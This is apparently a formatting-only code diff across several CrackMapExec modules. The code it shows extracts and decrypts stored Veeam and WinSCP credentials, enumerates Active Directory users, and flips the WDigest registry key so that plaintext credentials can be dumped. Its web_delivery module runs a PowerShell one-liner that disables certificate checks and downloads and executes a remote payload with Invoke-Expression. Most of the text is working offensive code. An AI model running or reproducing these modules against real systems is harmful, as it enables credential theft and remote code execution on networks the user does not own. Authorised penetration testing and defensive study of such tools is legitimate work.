self.keywords = set(module_options['KEYWORDS'].split(','))
elif 'ADD_KEYWORDS' in module_options:
add_keywords = set(module_options['ADD_KEYWORDS'].split(','))
if "KEYWORDS" in module_options:
self.keywords = set(module_options["KEYWORDS"].split(","))
elif "ADD_KEYWORDS" in module_options:
add_keywords = set(module_options["ADD_KEYWORDS"].split(","))
self.keywords = self.keywords.union(add_keywords)
def on_login(self, context, connection):
@@ -80,10 +81,10 @@ class CMEModule:
sc = ldap.SimplePagedResultsControl()
connection.ldapConnection.search(
searchFilter=self.search_filter,
attributes=['sAMAccountName', 'description'],
attributes=["sAMAccountName", "description"],
sizeLimit=0,
searchControls=[sc],
perRecordCallback=self.process_record
perRecordCallback=self.process_record,
)
except LDAPSearchError as e:
context.log.fail(f"Obtained unexpected exception: {str(e)}")
@@ -95,10 +96,10 @@ class CMEModule:
Create a log file for dumping user descriptions.
"""
logfile = f"UserDesc-{host}-{time}.log"
logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile)
logfile = Path.home().joinpath(".cme").joinpath("logs").joinpath(logfile)
self.context.log.info(f"Creating log file '{logfile}'")
self.log_file = open(logfile, 'w')
self.log_file = open(logfile, "w")
self.append_to_log("User:", "Description:")
def delete_log_file(self):
@@ -133,18 +134,17 @@ class CMEModule:
if not isinstance(item, ldapasn1.SearchResultEntry):
return
sAMAccountName = ''
description = ''
sAMAccountName = ""
description = ""
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')
elif str(attribute['type']) == 'description':
description = attribute['vals'][0].asOctets().decode('utf-8')
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = attribute["vals"][0].asOctets().decode("utf-8")
elif str(attribute["type"]) == "description":
description = attribute["vals"][0].asOctets().decode("utf-8")
except Exception as e:
entry = sAMAccountName or 'item'
entry = sAMAccountName or "item"
self.context.error(f"Skipping {entry}, cannot process LDAP entry due to error: '{str(e)}'")
if description and sAMAccountName not in self.account_names:
+25 -20
View File
@@ -10,19 +10,21 @@ import traceback
from base64 import b64encode
from cme.helpers.powershell import get_ps_script
class CMEModule:
"""
Module by @NeffIsBack
Module by @NeffIsBack
"""
name = 'veeam'
description = 'Extracts credentials from local Veeam SQL Database'
supported_protocols = ['smb']
opsec_safe= True
name = "veeam"
description = "Extracts credentials from local Veeam SQL Database"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
with open(get_ps_script('veeam_dump_module/veeam-creds_dump.ps1'), 'r') as psFile:
with open(get_ps_script("veeam_dump_module/veeam-creds_dump.ps1"), "r") as psFile:
self.psScript = psFile.read()
def options(self, context, module_options):
@@ -36,23 +38,27 @@ class CMEModule:
SqlDatabase = ""
SqlInstance = ""
SqlServer = ""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Veeam\\Veeam Backup and Replication')
keyHandle = ans['phkResult']
regHandle = ans["phKey"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlDatabaseName')[1].split('\x00')[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlInstanceName')[1].split('\x00')[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'SqlServerName')[1].split('\x00')[:-1][0]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Veeam\\Veeam Backup and Replication",
)
keyHandle = ans["phkResult"]
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find('ERROR_FILE_NOT_FOUND'):
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.fail("No Veeam installation found")
except:
context.log.fail("UNEXPECTED ERROR:")
@@ -60,7 +66,7 @@ class CMEModule:
finally:
remoteOps.finish()
return [SqlDatabase, SqlInstance, SqlServer]
def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
@@ -68,7 +74,7 @@ class CMEModule:
self.psScript = self.psScript.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScript = self.psScript.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScript = self.psScript.replace("REPLACE_ME_SqlServer", SqlServer)
psScipt_b64 = b64encode(self.psScript.encode('UTF-16LE')).decode('utf-8')
psScipt_b64 = b64encode(self.psScript.encode("UTF-16LE")).decode("utf-8")
output = connection.execute("powershell.exe -e {} -OutputFormat Text".format(psScipt_b64), True)
# Format ouput if returned in some XML Format
@@ -86,11 +92,10 @@ class CMEModule:
for account in output_stripped:
user, password = account.split(" ", 1)
context.log.highlight(user + ":" + password)
def on_admin_login(self, context, connection):
SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
if SqlDatabase and SqlInstance and SqlServer:
context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlServer, SqlInstance))
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)
context.log.success('Found Veeam DB "{}" on SQL Server "{}\\{}"! Extracting stored credentials...'.format(SqlDatabase, SqlServer, SqlInstance))
self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)
+48 -27
View File
@@ -6,33 +6,33 @@ from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from sys import exit
class CMEModule:
name = 'wdigest'
class CMEModule:
name = "wdigest"
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
ACTION Create/Delete the registry key (choices: enable, disable)
ACTION Create/Delete the registry key (choices: enable, disable)
"""
if not 'ACTION' in module_options:
context.log.fail('ACTION option not specified!')
if not "ACTION" in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options['ACTION'].lower() not in ['enable', 'disable']:
context.log.fail('Invalid value for ACTION option!')
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("Invalid value for ACTION option!")
exit(1)
self.action = module_options['ACTION'].lower()
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
if self.action == 'enable':
if self.action == "enable":
self.wdigest_enable(context, connection.conn)
elif self.action == 'disable':
elif self.action == "disable":
self.wdigest_disable(context, connection.conn)
def wdigest_enable(self, context, smbconnection):
@@ -41,17 +41,27 @@ class CMEModule:
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
keyHandle = ans["phkResult"]
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
rrp.REG_DWORD,
1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseLogonCredential\x00")
if int(data) == 1:
context.log.success('UseLogonCredential registry key created successfully')
context.log.success("UseLogonCredential registry key created successfully")
try:
remoteOps.finish()
@@ -64,15 +74,23 @@ class CMEModule:
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
keyHandle = ans["phkResult"]
try:
rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
rrp.hBaseRegDeleteValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
)
except:
context.log.success('UseLogonCredential registry key not present')
context.log.success("UseLogonCredential registry key not present")
try:
remoteOps.finish()
@@ -82,13 +100,16 @@ class CMEModule:
return
try:
#Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
# Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"UseLogonCredential\x00",
)
except DCERPCException:
context.log.success('UseLogonCredential registry key deleted successfully')
context.log.success("UseLogonCredential registry key deleted successfully")
try:
remoteOps.finish()
except:
pass
+16 -15
View File
@@ -3,17 +3,18 @@
from sys import exit
class CMEModule:
"""
Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
Reference: https://github.com/EmpireProject/Empire/blob/2.0_beta/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
Module by @byt3bl33d3r
Module by @byt3bl33d3r
"""
name = 'web_delivery'
description = 'Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module'
supported_protocols = ['smb', 'mssql']
name = "web_delivery"
description = "Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
@@ -23,23 +24,23 @@ class CMEModule:
PAYLOAD Payload architecture (choices: 64 or 32) Default: 64
"""
if not 'URL' in module_options:
context.log.fail('URL option is required!')
if not "URL" in module_options:
context.log.fail("URL option is required!")
exit(1)
self.url = module_options['URL']
self.url = module_options["URL"]
self.payload = "64"
if 'PAYLOAD' in module_options:
if module_options['PAYLOAD'] not in ['64', '32']:
context.log.fail('Invalid value for PAYLOAD option!')
if "PAYLOAD" in module_options:
if module_options["PAYLOAD"] not in ["64", "32"]:
context.log.fail("Invalid value for PAYLOAD option!")
exit(1)
self.payload = module_options['PAYLOAD']
self.payload = module_options["PAYLOAD"]
def on_admin_login(self, context, connection):
ps_command = '''[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');'''.format(self.url)
ps_command = """[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{}');""".format(self.url)
if self.payload == "32":
connection.ps_execute(ps_command, force_ps32=True)
else:
connection.ps_execute(ps_command, force_ps32=False)
context.log.success('Executed web-delivery launcher')
context.log.success("Executed web-delivery launcher")
+10 -9
View File
@@ -6,6 +6,7 @@ from impacket import nt_errors
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
class CMEModule:
"""
Enumerate whether the WebClient service is running on the target by looking for the
@@ -13,20 +14,21 @@ class CMEModule:
Module by Tobias Neitzel (@qtc_de)
"""
name = 'webdav'
description = 'Checks whether the WebClient service is running on the target'
supported_protocols = ['smb']
opsec_safe= True
name = "webdav"
description = "Checks whether the WebClient service is running on the target"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
MSG Info message when the WebClient service is running. '{}' is replaced by the target.
"""
self.output = 'WebClient Service enabled on: {}'
self.output = "WebClient Service enabled on: {}"
if 'MSG' in module_options:
self.output = module_options['MSG']
if "MSG" in module_options:
self.output = module_options["MSG"]
def on_login(self, context, connection):
"""
@@ -34,7 +36,7 @@ class CMEModule:
that the WebClient service is running on the target.
"""
try:
remote_file = RemoteFile(connection.conn, 'DAV RPC Service', 'IPC$', access=FILE_READ_DATA)
remote_file = RemoteFile(connection.conn, "DAV RPC Service", "IPC$", access=FILE_READ_DATA)
remote_file.open()
remote_file.close()
@@ -42,7 +44,6 @@ class CMEModule:
context.log.highlight(self.output.format(connection.conn.getRemoteHost()))
except SessionError as e:
if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
pass
+62 -52
View File
@@ -1,65 +1,75 @@
class CMEModule:
"""
Basic enumeration of provided user information and privileges
Module by spyr0 (@spyr0-sec)
Basic enumeration of provided user information and privileges
Module by spyr0 (@spyr0-sec)
"""
name = 'whoami'
description = 'Get details of provided user'
supported_protocols = ['ldap']
opsec_safe = True #Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
name = "whoami"
description = "Get details of provided user"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
USER Enumerate information about a different SamAccountName
USER Enumerate information about a different SamAccountName
"""
self.username = None
if 'USER' in module_options:
self.username = module_options['USER']
if "USER" in module_options:
self.username = module_options["USER"]
def on_login(self, context, connection):
searchBase = connection.ldapConnection._baseDN
if self.username is None:
searchFilter = f'(sAMAccountName={connection.username})'
else:
searchFilter = f'(sAMAccountName={format(self.username)})'
context.log.debug(f'Using naming context: {searchBase} and {searchFilter} as search filter')
searchBase = connection.ldapConnection._baseDN
if self.username is None:
searchFilter = f"(sAMAccountName={connection.username})"
else:
searchFilter = f"(sAMAccountName={format(self.username)})"
# Get attributes of provided user
r = connection.ldapConnection.search(
searchBase=searchBase,
searchFilter=searchFilter,
attributes=['name','sAmAccountName','description','distinguishedName','pwdLastSet','logonCount','lastLogon','userAccountControl','servicePrincipalName','memberOf'],
sizeLimit=999
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
)
for response in r[0]['attributes']:
if 'userAccountControl' in str(response['type']):
if str(response['vals'][0]) == "512":
context.log.highlight(f"Enabled: Yes")
context.log.highlight(f"Password Never Expires: No")
elif str(response['vals'][0]) == "514":
context.log.highlight(f"Enabled: No")
context.log.highlight(f"Password Never Expires: No")
elif str(response['vals'][0]) == "66048":
context.log.highlight(f"Enabled: Yes")
context.log.highlight(f"Password Never Expires: Yes")
elif str(response['vals'][0]) == "66050":
context.log.highlight(f"Enabled: No")
context.log.highlight(f"Password Never Expires: Yes")
elif 'lastLogon' in str(response['type']):
if str(response['vals'][0]) == "1601":
context.log.highlight(f"Last logon: Never")
else:
context.log.highlight(f"Last logon: {response['vals'][0]}")
elif 'memberOf' in str(response['type']):
for group in response['vals']:
context.log.highlight(f'Member of: {group}')
elif 'servicePrincipalName' in str(response['type']):
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
for spn in response['vals']:
context.log.highlight(f"Service Account Name: {spn}")
# Get attributes of provided user
r = connection.ldapConnection.search(
searchBase=searchBase,
searchFilter=searchFilter,
attributes=[
"name",
"sAmAccountName",
"description",
"distinguishedName",
"pwdLastSet",
"logonCount",
"lastLogon",
"userAccountControl",
"servicePrincipalName",
"memberOf",
],
sizeLimit=999,
)
for response in r[0]["attributes"]:
if "userAccountControl" in str(response["type"]):
if str(response["vals"][0]) == "512":
context.log.highlight(f"Enabled: Yes")
context.log.highlight(f"Password Never Expires: No")
elif str(response["vals"][0]) == "514":
context.log.highlight(f"Enabled: No")
context.log.highlight(f"Password Never Expires: No")
elif str(response["vals"][0]) == "66048":
context.log.highlight(f"Enabled: Yes")
context.log.highlight(f"Password Never Expires: Yes")
elif str(response["vals"][0]) == "66050":
context.log.highlight(f"Enabled: No")
context.log.highlight(f"Password Never Expires: Yes")
elif "lastLogon" in str(response["type"]):
if str(response["vals"][0]) == "1601":
context.log.highlight(f"Last logon: Never")
else:
context.log.highlight(response['type'] + ": " + response['vals'][0])
context.log.highlight(f"Last logon: {response['vals'][0]}")
elif "memberOf" in str(response["type"]):
for group in response["vals"]:
context.log.highlight(f"Member of: {group}")
elif "servicePrincipalName" in str(response["type"]):
context.log.highlight(f"Service Account Name(s) found - Potentially Kerberoastable user!")
for spn in response["vals"]:
context.log.highlight(f"Service Account Name: {spn}")
else:
context.log.highlight(response["type"] + ": " + response["vals"][0])
+106 -71
View File
@@ -19,11 +19,12 @@ import configparser
class CMEModule:
"""
Module by @NeffIsBack
Module by @NeffIsBack
"""
name = 'winscp'
description = 'Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.'
supported_protocols = ['smb']
name = "winscp"
description = "Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -37,14 +38,14 @@ class CMEModule:
\"C:\\Users\\{USERNAME}\\AppData\\Roaming\\WinSCP.ini\",
for every user found on the System.
"""
if 'PATH' in module_options:
self.filepath = module_options['PATH']
if "PATH" in module_options:
self.filepath = module_options["PATH"]
else:
self.filepath = ""
self.PW_MAGIC = 0xA3
self.PW_FLAG = 0xFF
self.share = 'C$'
self.share = "C$"
self.userDict = {}
# ==================== Helper ====================
@@ -63,15 +64,19 @@ class CMEModule:
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
for userObject in allUserObjects:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
keyHandle = ans["phkResult"]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
self.userDict[userObject] = userProfilePath.split('\\')[-1]
self.userDict[userObject] = userProfilePath.split("\\")[-1]
finally:
remoteOps.finish()
@@ -95,7 +100,7 @@ class CMEModule:
else:
pwLength = pwFlag
to_be_deleted, passBytes = self.dec_next_char(passBytes)
passBytes = passBytes[to_be_deleted * 2:]
passBytes = passBytes[to_be_deleted * 2 :]
# decrypt the password
clearpass = ""
@@ -103,7 +108,7 @@ class CMEModule:
val, passBytes = self.dec_next_char(passBytes)
clearpass += chr(val)
if pwFlag == self.PW_FLAG:
clearpass = clearpass[len(key):]
clearpass = clearpass[len(key) :]
return clearpass
def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
@@ -119,7 +124,7 @@ class CMEModule:
a = passBytes[0]
b = passBytes[1]
passBytes = passBytes[2:]
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xff, passBytes
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, passBytes
# ==================== Handle Registry ====================
def registrySessionExtractor(self, context, connection, userObject, sessionName):
@@ -131,15 +136,19 @@ class CMEModule:
remoteOps.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\' + sessionName)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
)
keyHandle = ans["phkResult"]
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'HostName')[1].split('\x00')[:-1][0])
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UserName')[1].split('\x00')[:-1][0]
hostName = unquote(rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "HostName")[1].split("\x00")[:-1][0])
userName = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UserName")[1].split("\x00")[:-1][0]
try:
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'Password')[1].split('\x00')[:-1][0]
password = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "Password")[1].split("\x00")[:-1][0]
except:
context.log.debug("Session found but no Password is stored!")
password = ""
@@ -170,23 +179,23 @@ class CMEModule:
# Enumerate all logged in and loaded Users on System
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
users = data['lpcSubKeys']
users = data["lpcSubKeys"]
# Get User Names
userNames = []
for i in range(users):
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
userNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Filter legit users in regex
userNames.remove('.DEFAULT')
regex = re.compile(r'^.*_Classes$')
userNames.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
userObjects = [i for i in userNames if not regex.match(i)]
except:
context.log.fail("Error handling Users in registry")
@@ -207,17 +216,21 @@ class CMEModule:
# Enumerate all Users on System
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
)
keyHandle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
users = data['lpcSubKeys']
users = data["lpcSubKeys"]
# Get User Names
for i in range(users):
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
userObjects.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
except:
context.log.fail("Error handling Users in registry")
@@ -237,23 +250,32 @@ class CMEModule:
for userObject in unloadedUserObjects:
# Extract profile Path of NTUSER.DAT
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\' + userObject)
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
)
keyHandle = ans["phkResult"]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'ProfileImagePath')[1].split('\x00')[:-1][0]
userProfilePath = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
# Load Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject, userProfilePath + "\\" + "NTUSER.DAT")
rrp.hBaseRegLoadKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
userObject,
userProfilePath + "\\" + "NTUSER.DAT",
)
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
@@ -268,10 +290,10 @@ class CMEModule:
# Unload Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, '')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
@@ -289,12 +311,16 @@ class CMEModule:
remoteOps.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
keyHandle = ans["phkResult"]
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseMasterPassword')[1]
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
finally:
remoteOps.finish()
@@ -317,31 +343,38 @@ class CMEModule:
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
regHandle = ans["phKey"]
for userObject in allUserObjects:
try:
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, userObject + '\\Software\\Martin Prikryl\\WinSCP 2\\Sessions')
keyHandle = ans['phkResult']
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
keyHandle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessions = data['lpcSubKeys']
context.log.success("Found {} sessions for user \"{}\" in registry!".format(sessions - 1, self.userDict[userObject]))
sessions = data["lpcSubKeys"]
context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject]))
# Get Session Names
sessionNames = []
for i in range(sessions):
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)['lpNameOut'].split('\x00')[:-1][0])
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessionNames.remove('Default%20Settings')
sessionNames.remove("Default%20Settings")
if self.checkMasterpasswordSet(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in sessionNames:
self.printCreds(context, self.registrySessionExtractor(context, connection, userObject, sessionName))
self.printCreds(
context,
self.registrySessionExtractor(context, connection, userObject, sessionName),
)
except DCERPCException as e:
if str(e).find('ERROR_FILE_NOT_FOUND'):
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
except Exception:
context.log.fail("Unexpected error:")
@@ -349,7 +382,7 @@ class CMEModule:
self.unloadMissingUsers(context, connection, unloadedUserObjects)
except DCERPCException as e:
# Error during registry query
